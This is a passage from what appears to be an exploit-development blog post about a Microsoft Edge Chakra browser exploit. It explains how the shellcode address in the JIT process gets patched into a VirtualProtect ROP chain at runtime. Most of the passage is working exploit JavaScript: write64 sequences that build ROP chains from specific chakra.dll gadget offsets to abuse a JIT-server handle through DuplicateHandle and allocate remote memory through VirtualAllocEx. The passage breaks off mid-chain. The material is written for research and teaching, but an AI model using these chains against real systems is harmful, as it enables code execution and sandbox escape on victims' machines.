<p>We know our shellcode resides in the JIT process at whatever memory address <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> decided. However, our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain (shown above and at the beginning of this blog post) was embedded within the <code class="language-plaintext highlighter-rouge">.data</code> section of the content process (in order to store it, so we can inject it later when the time comes). The issue we are facing is that of a “runtime problem” as our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain has no way to know what address our shellcode will reside in via our <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> ROP chain. This is not only because the remote allocation occurs <em>after</em> we have “preserved” our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain, but also because when <code class="language-plaintext highlighter-rouge">VirutalAllocEx</code> allocates memory, we request a “private” region of memory, which is “randomized”, and is subject to change after each call to <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>. We can see this in the following gadget:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
</code></pre></div></div>

<p>The above snippet is from our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain. When this ROP chain is stored before our <em>massive</em> multiple ROP chains we have been walking through, starting with <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> and overwriting our return address, the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain has no way to know where our shellcode is going to end up. <code class="language-plaintext highlighter-rouge">lpAddress</code> is a parameter that requires…</p>

<blockquote>
  <p>The address of the starting page of the region of pages whose access protection attributes are to be changed.</p>
</blockquote>

<p>The shellcode, which we inject into the remote JIT process, is the <code class="language-plaintext highlighter-rouge">lpAddress</code> we want to mark as RWX eventually. However, our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain just uses a placeholder for this value. What we are going to do is use <em>another</em> call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to update this address, at our exploit’s runtime. You’ll also notice the following snippet:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Store the current offset within the .data section into a var</span>
<span class="nx">ropoffsetOne</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>
</code></pre></div></div>

<p>These are simply variables (<code class="language-plaintext highlighter-rouge">ropoffsetOne</code>, <code class="language-plaintext highlighter-rouge">ropoffsetTwo</code>, <code class="language-plaintext highlighter-rouge">ropBegin</code>) that save the current location of our “counter”, which is used to easily write gadgets 8 bytes at a time (we are on a 64-bit system, every pointer is 8 bytes). We “save” the current location in the ROP chain in a variable to allow us to easily write to it later. This will make more sense when we see the full call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> via ROP.</p>

<p>Here is how this call is setup:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xFFFFFFFFFFFFFFFF</span><span class="p">,</span> 				<span class="c1">// Pseudo handle to the current process (the content process, when the exploit is executing)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualProtectROPChain_offset</span><span class="p">),</span>		<span class="c1">// Address of our return value from VirtualAllocEx (where we want to write the VirtualAllocEx_allocation address to)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAllocEx_Allocation</span><span class="p">),</span>			<span class="c1">// Address of our VirtualAllocEx allocation (where our shellcode resides in the JIT process at this point in the exploit)</span>
	<span class="mh">0x8</span>							<span class="c1">// 64-bit pointer size (sizeof(QWORD)))</span>
	<span class="nb">NULL</span> 							<span class="c1">// Optional</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Our ROP chain simply will write the address of our shellcode, in the remote JIT process (allocated via <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>) to our “final” <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain so that the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain knows what pages to mark RWX. This is achieved via ROP, as seen below (including all previous ROP chains):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
